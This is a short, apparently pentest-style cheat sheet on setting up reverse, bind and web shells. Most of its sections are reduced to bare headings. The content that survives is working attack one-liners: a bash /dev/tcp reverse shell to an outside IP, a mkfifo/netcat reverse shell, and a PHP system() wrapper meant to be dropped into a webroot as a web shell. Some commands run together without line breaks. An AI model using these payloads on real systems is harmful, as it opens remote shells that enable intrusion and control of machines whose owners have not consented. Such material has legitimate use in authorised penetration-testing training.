Setting up Shells
This is a collection of few useful scripts for creating reverse, bind and web shells.
Reverse Shells:
Preparing the shell script:
Linux target:
$ bash -c 'bash -i >& /dev/tcp/1.1.1.1/PORT 0>&1'
# OR
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENEING PORT> >/tmp/f# To be saved in a .php file.
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 <LISTENEING PORT> >/tmp/f"); ?>Windows Target:
Setting up a listener on our attacking machine:
Using netcat
Using metasploit
Results of the injection:
Interactive Shells
Full TTY
Bash
Perl
Ruby
Lua
Find
Vim
Bind shells:
Listener on the target machine:
Linux Target:
Windows target:
Connecting to the target:
Web Shells
Preparing the file
Injecting to the webroot
Web Server
Default Webroot
Execution
Last updated